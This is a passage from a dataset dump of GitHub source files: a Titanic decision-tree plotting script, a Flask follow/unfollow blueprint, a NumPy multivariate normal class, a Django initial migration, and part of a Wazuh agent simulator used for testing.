out_file='titanic.dot',\n    feature_names=['pclass', 'sex', 'age'],\n    class_names=['Unsurvived', 'Survived'],\n    filled=True\n)\n\nimport graphviz\nf = open('titanic.dot')\ndot_graph = f.read()\ndot = graphviz.Source(dot_graph)\ndot.format = 'png'\ndot.render(filename='titanic_tree')\nprint(dot)\n\n","repo_name":"badjiyoon/da_study","sub_path":"KimJiYoon/Part2/CH05/CH05_23.py","file_name":"CH05_23.py","file_ext":"py","file_size_in_byte":3361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16820683293","text":"from flask import Blueprint, request, render_template, redirect, url_for, flash\nfrom flask_login import current_user\nfrom models.follow import Follow\nfrom models.user import User\n\nfollows_blueprint = Blueprint('follows', __name__, template_folder='templates')\n\n\n@follows_blueprint.route('/<id>/create')\ndef create(id):\n    if id == current_user.id:\n        flash(u'you cannot follow yourself -.-', 'warning')\n        return redirect(request.referrer)\n\n    user = User.get_or_none(User.id == id)\n    if not user:\n        flash(u'that user does not exist :(', 'danger')\n        return redirect(request.referrer)\n\n    if user.is_followed:\n        flash(u'you are already following that user', 'danger')\n        return redirect(request.referrer)\n\n    new_follow = Follow(fan_id=current_user.id, idol_id=id)\n    if not new_follow.save():\n        flash(u'sorry, could not process the request:(', 'danger')\n        return redirect(request.referrer)\n\n    flash(u'Followed successfully!!', 'success')\n    return redirect(request.referrer)\n\n\n@follows_blueprint.route('/<id>/delete')\ndef delete(id):\n    user = User.get_or_none(User.id == id)\n\n    if not user:\n        flash(u'sorry that user does not exist.', 'danger')\n        return redirect(url_for('users.index'))\n\n    if not user.is_followed:\n        flash(u'sorry, you are not currently following that user, so no need to unfollow.', 'warning')\n        return redirect(url_for('users.index'))\n\n    follow = Follow.get_or_none(\n        Follow.fan_id == current_user.id, Follow.idol_id == id)\n\n    if not follow.delete_instance(recursive=True):\n        flash(\n            f'database shows no instance of you following {user.username}', 'danger')\n        return redirect(request.referrer)\n\n    flash('Unfollowed successfully', 'success')\n    return redirect(request.referrer)\n\n\n@follows_blueprint.route('/<id>/show/following')\ndef show_idols(id):\n\n    idols = [user.idol for user in Follow.select().where(\n        Follow.fan_id == current_user.id)]\n    return render_template('follows/idols.html', idols=idols)\n\n\n@follows_blueprint.route('/<id>/show/followers')\ndef show_fans(id):\n    fans = [user.fan for user in Follow.select().where(\n        Follow.idol_id == current_user.id)]\n    return render_template('follows/fans.html', fans=fans)\n","repo_name":"shenyang44/nextagram-python","sub_path":"instagram_web/blueprints/follows/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"20449071047","text":"#!/usr/bin/env python3\n\"\"\"\n2. Initialize Multinormal class\n\"\"\"\n\nimport numpy as np\n\n\nclass MultiNormal:\n    \"\"\"\n    Multinormal Class\n    \"\"\"\n\n    def __init__(self, data):\n        \"\"\" Constructor method\n        Args:\n            data - is a numpy.ndarray of shape (d, n) containing\n                the data set:\n                n is the number of data points\n                d is the number of dimensions in each data point\n        \"\"\"\n\n        if (not type(data) == np.ndarray) or (len(data.shape) != 2):\n            raise TypeError(\"data must be a 2D numpy.ndarray\")\n        n = data.shape[1]\n        if n < 2:\n            raise ValueError(\"data must contain multiple data points\")\n        self.mean_cov(data)\n\n    def mean_cov(self, X):\n        \"\"\" Calculates the mean and covariance of a data set\n        Args:\n            X - is a numpy.ndarray of shape (n, d) containing the data set\n                n: is the number of data points\n                d: is the number of dimensions in each data point\n        Returns:\n            mean - is a numpy.ndarray of shape (1, d) containing the mean\n                    of the data set\n            cov - is a numpy.ndarray of shape (d, d) containing the covariance\n                    matrix of the data set\n        \"\"\"\n        d = X.shape[0]\n        n = X.shape[1]\n        self.mean = np.mean(X, axis=1).reshape(d, 1)\n        X = X - self.mean\n        self.cov = ((np.dot(X, X.T)) / (n - 1))\n\n    def pdf(self, x):\n        \"\"\" Calculates the PDF at a data point\n        Args:\n            x is a numpy.ndarray of shape (d, 1) containing the data point\n            whose PDF should be calculated\n        Returns:\n            The value of the PDF\n        \"\"\"\n\n        if (not type(x) == np.ndarray):\n            raise TypeError(\"x must be a numpy.ndarray\")\n        d = self.cov.shape[0]\n        if (len(x.shape) != 2 or x.shape[1] != 1 or x.shape[0] != d):\n            raise ValueError(\"x must have the shape ({}, 1)\".format(d))\n\n        x_m = x - self.mean\n        pdf = (1 / (np.sqrt((2 * np.pi)**d * np.linalg.det(self.cov)))\n               * np.exp(-(np.linalg.solve(self.cov, x_m).T.dot(x_m)) / 2))\n\n        return float(pdf)\n","repo_name":"nildiert/holbertonschool-machine_learning","sub_path":"math/0x06-multivariate_prob/multinormal.py","file_name":"multinormal.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"37636610931","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='BrandName',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name', models.CharField(max_length=250, verbose_name=b'\\xd0\\x91\\xd1\\x80\\xd0\\xb5\\xd0\\xbd\\xd0\\xb4')),\n            ],\n            options={\n                'verbose_name': '\\u0411\\u0440\\u0435\\u043d\\u0434\\u044b',\n                'verbose_name_plural': '\\u0411\\u0440\\u0435\\u043d\\u0434',\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='CodeCpa',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('shop', models.CharField(max_length=500, verbose_name=b'\\xd0\\x9d\\xd0\\xb0\\xd0\\xb7\\xd0\\xb2\\xd0\\xb0\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5', blank=True)),\n                ('code', models.CharField(max_length=1000, verbose_name=b'\\xd0\\x9a\\xd0\\xbe\\xd0\\xb4 \\xd0\\xbc\\xd0\\xb0\\xd0\\xb3\\xd0\\xb0\\xd0\\xb7\\xd0\\xb8\\xd0\\xbd\\xd0\\xb0')),\n            ],\n            options={\n                'verbose_name': '\\u041a\\u043e\\u0434\\u044b \\u043c\\u0430\\u0433\\u0430\\u0437\\u0438\\u043d\\u043e\\u0432',\n                'verbose_name_plural': '\\u041a\\u043e\\u0434 \\u043c\\u0430\\u0433\\u0430\\u0437\\u0438\\u043d\\u0430',\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='Email',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('email', models.CharField(max_length=250, null=True, verbose_name=b'Email_name', blank=True)),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='Item',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name', models.CharField(max_length=250, verbose_name=b'\\xd0\\x9d\\xd0\\xb0\\xd0\\xb7\\xd0\\xb2\\xd0\\xb0\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5 \\xd1\\x84\\xd0\\xbe\\xd1\\x82\\xd0\\xbe\\xd0\\xb3\\xd1\\x80\\xd0\\xb0\\xd1\\x84\\xd0\\xb8\\xd0\\xb9', blank=True)),\n                ('urlback', models.URLField(max_length=1000, verbose_name=b'\\xd0\\xa1\\xd1\\x81\\xd1\\x8b\\xd0\\xbb\\xd0\\xba\\xd0\\xb0 \\xd0\\xbd\\xd0\\xb0 \\xd0\\xba\\xd0\\xbe\\xd0\\xbd\\xd1\\x82\\xd0\\xb5\\xd0\\xbd\\xd1\\x82')),\n                ('url', models.URLField(max_length=1000, verbose_name=b'\\xd0\\xa1\\xd1\\x81\\xd1\\x8b\\xd0\\xbb\\xd0\\xba\\xd0\\xb0')),\n                ('public', models.IntegerField(default=0, verbose_name=b'\\xd0\\xa1\\xd1\\x82\\xd0\\xb0\\xd1\\x82\\xd1\\x83\\xd1\\x81 \\xd0\\xbf\\xd1\\x83\\xd0\\xb1\\xd0\\xbb\\xd0\\xb8\\xd0\\xba\\xd0\\xb0\\xd1\\x86\\xd0\\xb8\\xd0\\xb8')),\n                ('date', models.DateTimeField(auto_now_add=True)),\n                ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n            ],\n            options={\n                'verbose_name': 'Items',\n                'verbose_name_plural': 'Item',\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='Photo',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('image', models.ImageField(upload_to=b'image', verbose_name=b'\\xd0\\xa4\\xd0\\xbe\\xd1\\x82\\xd0\\xbe\\xd0\\xb3\\xd1\\x80\\xd0\\xb0\\xd1\\x84\\xd0\\xb8\\xd1\\x8f', blank=True)),\n                ('status', models.IntegerField(default=1, verbose_name=b'\\xd0\\xa1\\xd1\\x82\\xd0\\xb0\\xd1\\x82\\xd1\\x83\\xd1\\x81 \\xd1\\x84\\xd0\\xbe\\xd1\\x82\\xd0\\xbe\\xd0\\xb3\\xd1\\x80\\xd0\\xb0\\xd1\\x84\\xd0\\xb8\\xd0\\xb8')),\n                ('item', models.ForeignKey(related_name='items', to='item.Item')),\n            ],\n            options={\n                'verbose_name': '\\u0424\\u043e\\u0442\\u043e\\u0433\\u0440\\u0430\\u0444\\u0438\\u0438',\n                'verbose_name_plural': '\\u0424\\u043e\\u0442\\u043e\\u0433\\u0440\\u0430\\u0444\\u0438\\u044f',\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='RelatedPhotos',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('photo_additional', models.ForeignKey(related_name='photo_additional', to='item.Photo')),\n                ('photo_general', models.ForeignKey(related_name='photo_general', to='item.Photo')),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='SavedTag',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('date', models.DateTimeField(auto_now_add=True)),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='Subs',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('sub_to_user', models.ForeignKey(related_name='subs', to=settings.AUTH_USER_MODEL)),\n                ('user', models.ForeignKey(related_name='user', to=settings.AUTH_USER_MODEL)),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='Tag',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('url', models.URLField(max_length=1000, verbose_name=b'\\xd0\\xa1\\xd1\\x81\\xd1\\x8b\\xd0\\xbb\\xd0\\xba\\xd0\\xb0', blank=True)),\n                ('url_raw', models.URLField(default=b'', max_length=1000, verbose_name=b'\\xd0\\xa1\\xd1\\x81\\xd1\\x8b\\xd0\\xbb\\xd0\\xba\\xd0\\xb0 \\xd0\\xb1\\xd0\\xb5\\xd0\\xb7 \\xd0\\xba\\xd0\\xbe\\xd0\\xb4\\xd0\\xb0', blank=True)),\n                ('x_position', models.CharField(max_length=250, verbose_name=b'\\xd0\\x9f\\xd0\\xbe\\xd0\\xb7\\xd0\\xb8\\xd1\\x86\\xd0\\xb8\\xd1\\x8f X')),\n                ('y_position', models.CharField(max_length=250, verbose_name=b'\\xd0\\x9f\\xd0\\xbe\\xd0\\xb7\\xd0\\xb8\\xd1\\x86\\xd0\\xb8\\xd1\\x8f Y')),\n                ('z_position', models.IntegerField(default=0, verbose_name=b'\\xd0\\x9f\\xd0\\xbe\\xd0\\xb7\\xd0\\xb8\\xd1\\x86\\xd0\\xb8\\xd1\\x8f Z')),\n                ('brand_name', models.ForeignKey(related_name='tags', to='item.BrandName')),\n                ('photo', models.ForeignKey(related_name='photos', to='item.Photo')),\n            ],\n            options={\n                'verbose_name': '\\u041c\\u0435\\u0442\\u043a\\u0438',\n                'verbose_name_plural': '\\u041c\\u0435\\u0442\\u043a\\u0430',\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='UserProfile',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('sex', models.IntegerField(default=0, verbose_name=b'\\xd0\\x9f\\xd0\\xbe\\xd0\\xbb')),\n                ('image', models.ImageField(upload_to=b'image', null=True, verbose_name=b'\\xd0\\xa4\\xd0\\xbe\\xd1\\x82\\xd0\\xbe \\xd0\\xbf\\xd0\\xbe\\xd0\\xbb\\xd1\\x8c\\xd0\\xb7\\xd0\\xbe\\xd0\\xb2\\xd0\\xb0\\xd1\\x82\\xd0\\xb5\\xd0\\xbb\\xd1\\x8f', blank=True)),\n                ('phone', models.CharField(max_length=250, verbose_name=b'\\xd0\\x9d\\xd0\\xbe\\xd0\\xbc\\xd0\\xb5\\xd1\\x80 \\xd1\\x82\\xd0\\xb5\\xd0\\xbb\\xd0\\xb5\\xd1\\x84\\xd0\\xbe\\xd0\\xbd\\xd0\\xb0', blank=True)),\n                ('link', models.URLField(max_length=1000, verbose_name=b'\\xd0\\xa1\\xd1\\x81\\xd1\\x8b\\xd0\\xbb\\xd0\\xba\\xd0\\xb0', blank=True)),\n                ('description', models.CharField(max_length=150, verbose_name=b'\\xd0\\x9e\\xd0\\xbf\\xd0\\xb8\\xd1\\x81\\xd0\\xb0\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5', blank=True)),\n                ('pp', models.IntegerField(null=True, verbose_name=b'\\xd0\\xa6\\xd0\\xb5\\xd0\\xbd\\xd0\\xb0 product placement', blank=True)),\n                ('email', models.CharField(max_length=250, verbose_name=b'Email \\xd0\\xb4\\xd0\\xbb\\xd1\\x8f \\xd0\\xbe\\xd1\\x82\\xd0\\xbf\\xd1\\x80\\xd0\\xb0\\xd0\\xb2\\xd0\\xba\\xd0\\xb8 \\xd0\\xb4\\xd0\\xb0\\xd0\\xbd\\xd0\\xbd\\xd1\\x8b\\xd1\\x85', blank=True)),\n                ('link_shop', models.URLField(max_length=1000, verbose_name=b'\\xd0\\xa1\\xd1\\x81\\xd1\\x8b\\xd0\\xbb\\xd0\\xba\\xd0\\xb0 \\xd0\\xbd\\xd0\\xb0 \\xd0\\xbc\\xd0\\xb0\\xd0\\xb3\\xd0\\xb0\\xd0\\xb7\\xd0\\xb8\\xd0\\xbd', blank=True)),\n                ('bank_account_owner', models.CharField(max_length=500, verbose_name=b'\\xd0\\x92\\xd0\\xbb\\xd0\\xb0\\xd0\\xb4\\xd0\\xb5\\xd0\\xbb\\xd0\\xb5\\xd1\\x86 \\xd0\\xb1\\xd0\\xb0\\xd0\\xbd\\xd0\\xba\\xd0\\xbe\\xd0\\xb2\\xd1\\x81\\xd0\\xba\\xd0\\xbe\\xd0\\xb3\\xd0\\xbe \\xd0\\xb0\\xd0\\xba\\xd0\\xba\\xd0\\xb0\\xd1\\x83\\xd0\\xbd\\xd1\\x82\\xd0\\xb0', blank=True)),\n                ('bank_account_number', models.IntegerField(null=True, verbose_name=b'\\xd0\\x9d\\xd0\\xbe\\xd0\\xbc\\xd0\\xb5\\xd1\\x80 \\xd1\\x81\\xd1\\x87\\xd0\\xb5\\xd1\\x82\\xd0\\xb0', blank=True)),\n                ('country', models.CharField(max_length=150, verbose_name=b'\\xd0\\xa1\\xd1\\x82\\xd1\\x80\\xd0\\xb0\\xd0\\xbd\\xd0\\xb0', blank=True)),\n                ('bank_code', models.IntegerField(null=True, verbose_name=b'\\xd0\\x9a\\xd0\\xbe\\xd0\\xb4 \\xd0\\xb1\\xd0\\xb0\\xd0\\xbd\\xd0\\xba\\xd0\\xb0', blank=True)),\n                ('bank_name', models.CharField(max_length=250, verbose_name=b'\\xd0\\x9d\\xd0\\xb0\\xd0\\xb7\\xd0\\xb2\\xd0\\xb0\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5 \\xd0\\xb1\\xd0\\xb0\\xd0\\xbd\\xd0\\xba\\xd0\\xb0', blank=True)),\n                ('wmr', models.IntegerField(null=True, verbose_name=b'Webmoney', blank=True)),\n                ('yandex', models.IntegerField(null=True, verbose_name=b'\\xd0\\xaf\\xd0\\xbd\\xd0\\xb4\\xd0\\xb5\\xd0\\xba\\xd1\\x81 \\xd0\\x94\\xd0\\xb5\\xd0\\xbd\\xd1\\x8c\\xd0\\xb3\\xd0\\xb8', blank=True)),\n                ('zip_code', models.CharField(max_length=250, verbose_name=b'\\xd0\\x9f\\xd0\\xbe\\xd1\\x87\\xd1\\x82\\xd0\\xbe\\xd0\\xb2\\xd1\\x8b\\xd0\\xb9 \\xd0\\xb8\\xd0\\xbd\\xd0\\xb4\\xd0\\xb5\\xd0\\xba\\xd1\\x81', blank=True)),\n                ('city', models.CharField(max_length=250, verbose_name=b'\\xd0\\x93\\xd0\\xbe\\xd1\\x80\\xd0\\xbe\\xd0\\xb4', blank=True)),\n                ('address', models.CharField(max_length=500, verbose_name=b'\\xd0\\x90\\xd0\\xb4\\xd1\\x80\\xd0\\xb5\\xd1\\x81', blank=True)),\n                ('status_pay', models.IntegerField(default=0, verbose_name=b'\\xd0\\xa1\\xd0\\xbf\\xd0\\xbe\\xd1\\x81\\xd0\\xbe\\xd0\\xb1 \\xd0\\xbe\\xd0\\xbf\\xd0\\xbb\\xd0\\xb0\\xd1\\x82\\xd1\\x8b')),\n                ('user', models.ForeignKey(related_name='profile', to=settings.AUTH_USER_MODEL, unique=True)),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n        migrations.AddField(\n            model_name='savedtag',\n            name='tag',\n            field=models.ForeignKey(related_name='tag', to='item.Tag'),\n            preserve_default=True,\n        ),\n        migrations.AddField(\n            model_name='savedtag',\n            name='user',\n            field=models.ForeignKey(related_name='usertags', to=settings.AUTH_USER_MODEL),\n            preserve_default=True,\n        ),\n    ]\n","repo_name":"makarowdmitry/tp","sub_path":"item/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":11286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18380044011","text":"import hashlib\nimport json\nimport logging\nimport os\nimport socket\nimport ssl\nimport threading\nimport zlib\nfrom datetime import date\nfrom itertools import cycle\nfrom random import randint, sample, choice, getrandbits\nfrom stat import S_IFLNK, S_IFREG, S_IRWXU, S_IRWXG, S_IRWXO\nfrom string import ascii_letters, digits\nfrom struct import pack\nfrom sys import getsizeof\nfrom time import mktime, localtime, sleep, time\n\nimport wazuh_testing.data.syscollector as syscollector\nimport wazuh_testing.data.winevt as winevt\nimport wazuh_testing.wazuh_db as wdb\nfrom wazuh_testing import TCP\nfrom wazuh_testing import is_udp, is_tcp\nfrom wazuh_testing.tools.monitoring import wazuh_unpack, Queue\nfrom wazuh_testing.tools.remoted_sim import Cipher\nfrom wazuh_testing.tools.utils import retry, get_random_ip, get_random_string\n\n_data_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', 'data')\n\nos_list = [\"debian7\", \"debian8\", \"debian9\", \"debian10\", \"ubuntu12.04\",\n           \"ubuntu14.04\", \"ubuntu16.04\", \"ubuntu18.04\", \"mojave\", \"solaris11\"]\nagent_count = 1\n\n\nclass Agent:\n    \"\"\"Class that allows us to simulate an agent registered in a manager.\n    This simulated agent allows sending-receiving messages and commands. In order to simulate\n    syscollector, FIM, FIM Integrity, rootcheck, hostinfo, winevt and logcollector modules the following classes have\n    been created: GeneratorSyscollector, GeneratorFIM, GeneratorIntegrityFIM, Rootcheck,\n    GeneratorHostinfo, GeneratorWinevt, Logcollector.\n    Args:\n        manager_address (str): Manager IP address.\n        cypher (str, optional): Cypher method. It can be [aes, blowfish]. Default aes.\n        os (str, optional): Agent operating system. Default None for choosing randomly.\n        rootcheck_sample (str, optional): File where are sample rootcheck messages.\n        id (str, optional): ID of the agent. Specify only if it already exists.\n        name (str, optional): Agent name. Specify only if it already exists.\n        key (str, optional): Client key. Specify only if it already exists.\n        version (str, optional): Wazuh agent version. Default v3.12.0.\n        labels (dict, optional): Wazuh agent labels. Each dict key will be a new label.\n        fim_eps (int, optional): Set the maximum event reporting throughput. Events are messages that will produce an\n                                 alert.\n        fim_integrity_eps (int, optional): Set the maximum database synchronization message throughput.\n        authd_password (str), optional: Password for registration if needed.\n        registration_address (str, optional): Manager registration IP address.\n        retry_enrollment (bool, optional): retry then enrollment in case of error.\n        logcollector_msg_number (bool, optional): insert in the logcollector message the message number.\n        custom_logcollector_message (str): Custom logcollector message to be sent by the agent.\n    Attributes:\n        id (str): ID of the agent.\n        name (str): Agent name.\n        key (str): Agent key. Used for creating an encryption_key.\n        long_version (str): Agent version in format x.y.z\n        short_version (str): Agent version in format x.y\n        cypher (str): Encryption method for message communication.\n        os (str): Agent operating system.\n        fim_eps (int): Fim's maximum event reporting throughput. Default `1000`.\n        fim_integrity_eps (int): Fim integrity's maximum event reporting throughput. Default `100`.\n        syscollector_eps (int): Syscollector's maximum event reporting throughput. Default `100`.\n        rootcheck_eps (int): Rootcheck's maximum event reporting throughput. Default `100`.\n        hostinfo_eps (int): Hostinfo's maximum event reporting throughput. Default `100`.\n        winevt_eps (float): Winevt's maximum event reporting throughput. Default `100`.\n        logcollector_eps (float): Logcollector's maximum event reporting throughput. Default `100`.\n        sca_eps (float): sca_label's maximum event reporting throughput. Default `100`.\n        manager_address (str): Manager IP address.\n        encryption_key (bytes): Encryption key used for encrypt and decrypt the message.\n        keep_alive_event (bytes): Keep alive event (read from template data according to OS and parsed to an event).\n        keep_alive_raw_msg (string): Keep alive event in plain text.\n        merged_checksum (string): Checksum of agent's merge.mg file.\n        startup_msg (bytes): Startup event sent before the first keep alive event.\n        authd_password (str): Password for manager registration.\n        rootcheck_sample (str): File where are sample rootcheck messages.\n        rootcheck (Rootcheck): Object to simulate rootcheck message events.\n        fim (GeneratorFIM): Object to simulate FIM message events.\n        fim_integrity (GeneratorIntegrityFIM): Object to simulate FIM integrity message events.\n        modules (dict): Agent modules with their associated configuration info.\n        sha_key (str): Shared key between manager and agent for remote upgrading.\n        upgrade_exec_result (int): Upgrade result status code.\n        send_upgrade_notification (boolean): If True, it will be sent the upgrade status message after \"upgrading\".\n        upgrade_script_result (int): Variable to mock the upgrade script result. Used for simulating a remote upgrade.\n        stop_receive (int): Flag to determine when to activate and deactivate the agent event listener.\n        stage_disconnect (str): WPK process state variable.\n        rcv_msg_limit (int): max elements for the received message queue.\n        rcv_msg_queue (monitoring.Queue): Queue to store received messages in the agent.\n        disable_all_modules (boolean): Disable all simulated modules for this agent.\n        rootcheck_frequency (int): frequency to run rootcheck scans. 0 to continuously send rootcheck events.\n        syscollector_frequency (int): frequency to run syscollector scans. 0 to continuously send syscollector events.\n        keepalive_frequency (int): frequency to send keepalive messages. 0 to continuously send keepalive messages.\n        sca_frequency (int): frequency to run sca_label scans. 0 to continuously send sca_label events.\n        syscollector_batch_size (int): Size of the syscollector type batch events.\n        fixed_message_size (int): Fixed size of the agent modules messages in KB.\n        registration_address (str): Manager registration IP address.\n    \"\"\"\n    def __init__(self, manager_address, cypher=\"aes\", os=None, rootcheck_sample=None, id=None, name=None, key=None,\n                 version=\"v4.3.0\", fim_eps=100, fim_integrity_eps=100, sca_eps=100, syscollector_eps=100, labels=None,\n                 rootcheck_eps=100, logcollector_eps=100, authd_password=None, disable_all_modules=False,\n                 rootcheck_frequency=60.0, rcv_msg_limit=0, keepalive_frequency=10.0, sca_frequency=60,\n                 syscollector_frequency=60.0, syscollector_batch_size=10, hostinfo_eps=100, winevt_eps=100,\n                 fixed_message_size=None, registration_address=None, retry_enrollment=False,\n                 logcollector_msg_number=None, custom_logcollector_message=''):\n        self.id = id\n        self.name = name\n        self.key = key\n        if version is None:\n            version = \"v3.13.2\"\n        self.long_version = version\n        ver_split = version.replace(\"v\", \"\").split(\".\")\n        self.short_version = f\"{'.'.join(ver_split[:2])}\"\n        self.labels = labels\n        self.cypher = cypher\n        self.os = os\n        self.fim_eps = fim_eps\n        self.fim_integrity_eps = fim_integrity_eps\n        self.syscollector_eps = syscollector_eps\n        self.rootcheck_eps = rootcheck_eps\n        self.logcollector_eps = logcollector_eps\n        self.winevt_eps = winevt_eps\n        self.sca_eps = sca_eps\n        self.hostinfo_eps = hostinfo_eps\n        self.rootcheck_frequency = rootcheck_frequency\n        self.sca_frequency = sca_frequency\n        self.keepalive_frequency = keepalive_frequency\n        self.syscollector_frequency = syscollector_frequency\n        self.manager_address = manager_address\n        self.registration_address = manager_address if registration_address is None else registration_address\n        self.encryption_key = \"\"\n        self.keep_alive_event = \"\"\n        self.keep_alive_raw_msg = \"\"\n        self.merged_checksum = 'd6e3ac3e75ca0319af3e7c262776f331'\n        self.startup_msg = \"\"\n        self.authd_password = authd_password\n        self.sca = None\n        self.logcollector = None\n        self.syscollector_batch_size = syscollector_batch_size\n        self.rootcheck_sample = rootcheck_sample\n        self.rootcheck = None\n        self.hostinfo = None\n        self.winevt = None\n        self.fim = None\n        self.fim_integrity = None\n        self.syscollector = None\n        self.modules = {\n            'keepalive': {'status': 'enabled', 'frequency': self.keepalive_frequency},\n            'fim': {'status': 'enabled', 'eps': self.fim_eps},\n            'fim_integrity': {'status': 'disabled', 'eps': self.fim_integrity_eps},\n            'syscollector': {'status': 'disabled', 'frequency': self.syscollector_frequency,\n                             'eps': self.syscollector_eps},\n            'rootcheck': {'status': 'disabled', 'frequency': self.rootcheck_frequency, 'eps': self.rootcheck_eps},\n            'sca': {'status': 'disabled', 'frequency': self.sca_frequency, 'eps': self.sca_eps},\n            'hostinfo': {'status': 'disabled', 'eps': self.hostinfo_eps},\n            'winevt': {'status': 'disabled', 'eps': self.winevt_eps},\n            'logcollector': {'status': 'disabled', 'eps': self.logcollector_eps},\n            'receive_messages': {'status': 'enabled'},\n        }\n        self.sha_key = None\n        self.upgrade_exec_result = None\n        self.send_upgrade_notification = False\n        self.upgrade_script_result = 0\n        self.stop_receive = 0\n        self.stage_disconnect = None\n        self.retry_enrollment = retry_enrollment\n        self.rcv_msg_queue = Queue(rcv_msg_limit)\n        self.fixed_message_size = fixed_message_size * 1024 if fixed_message_size is not None else None\n        self.logcollector_msg_number = logcollector_msg_number\n        self.custom_logcollector_message = custom_logcollector_message\n        self.setup(disable_all_modules=disable_all_modules)\n\n    def update_checksum(self, new_checksum):\n        self.keep_alive_raw_msg = self.keep_alive_raw_msg.replace(self.merged_checksum, new_checksum)\n        self.keep_alive_event = self.create_event(self.keep_alive_raw_msg)\n        self.merged_checksum = new_checksum\n\n    def setup(self, disable_all_modules):\n        \"\"\"Set up agent: os, registration, encryption key, start up msg and activate modules.\"\"\"\n        self.set_os()\n\n        if self.id is None and self.name is None and self.key is None:\n            self.set_name()\n            self.register()\n        elif any([self.id, self.name, self.key]) and not all([self.id, self.name, self.key]):\n            raise ValueError(\"All the parameters [id, name, key] have to be specified together\")\n\n        self.create_encryption_key()\n        self.create_keep_alive()\n        self.create_hc_startup()\n        self.initialize_modules(disable_all_modules)\n\n    def set_os(self):\n        \"\"\"Pick random OS from a custom os list.\"\"\"\n        if self.os is None:\n            self.os = os_list[agent_count % len(os_list) - 1]\n\n    def set_wpk_variables(self, sha=None, upgrade_exec_result=None, upgrade_notification=False, upgrade_script_result=0,\n                          stage_disconnect=None):\n        \"\"\"Set variables related to wpk simulated responses.\n        Args:\n            sha (str): Shared key between manager and agent for remote upgrading.\n            upgrade_exec_result (int): Upgrade result status code.\n            upgrade_notification (boolean): If True, it will be sent the upgrade status message after \"upgrading\".\n            upgrade_script_result (int): Variable to mock the upgrade script result. Used for simulating a remote\n                                         upgrade.\n            stage_disconnect (str): WPK process state variable.\n        \"\"\"\n        self.sha_key = sha\n        self.upgrade_exec_result = upgrade_exec_result\n        self.send_upgrade_notification = upgrade_notification\n        self.upgrade_script_result = upgrade_script_result\n        self.stage_disconnect = stage_disconnect\n\n    def set_name(self):\n        \"\"\"Set a random agent name.\"\"\"\n        random_string = ''.join(sample(f\"0123456789{ascii_letters}\", 16))\n        self.name = f\"{agent_count}-{random_string}-{self.os}\"\n\n    def _register_helper(self):\n        \"\"\"Helper function to enroll an agent.\"\"\"\n        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n        context.check_hostname = False\n        context.verify_mode = ssl.CERT_NONE\n        try:\n            ssl_socket = context.wrap_socket(sock, server_hostname=self.registration_address)\n            ssl_socket.connect((self.registration_address, 1515))\n\n            if self.authd_password is None:\n                event = f\"OSSEC A:'{self.name}'\\n\".encode()\n            else:\n                event = f\"OSSEC PASS: {self.authd_password} OSSEC A:'{self.name}'\\n\".encode()\n\n            ssl_socket.send(event)\n            recv = ssl_socket.recv(4096)\n            registration_info = recv.decode().split(\"'\")[1].split(\" \")\n\n            self.id = registration_info[0]\n            self.key = registration_info[3]\n        finally:\n            ssl_socket.close()\n            sock.close()\n\n        logging.debug(f\"Registration - {self.name}({self.id}) in {self.registration_address}\")\n\n    def register(self):\n        \"\"\"Request to register the agent in the manager.\n        In addition, it sets the agent id and agent key with the response data.\n        \"\"\"\n        if self.retry_enrollment:\n            retries = 20\n            while retries >= 0:\n                try:\n                    self._register_helper()\n                except Exception:\n                    retries -= 1\n                    sleep(6)\n                else:\n     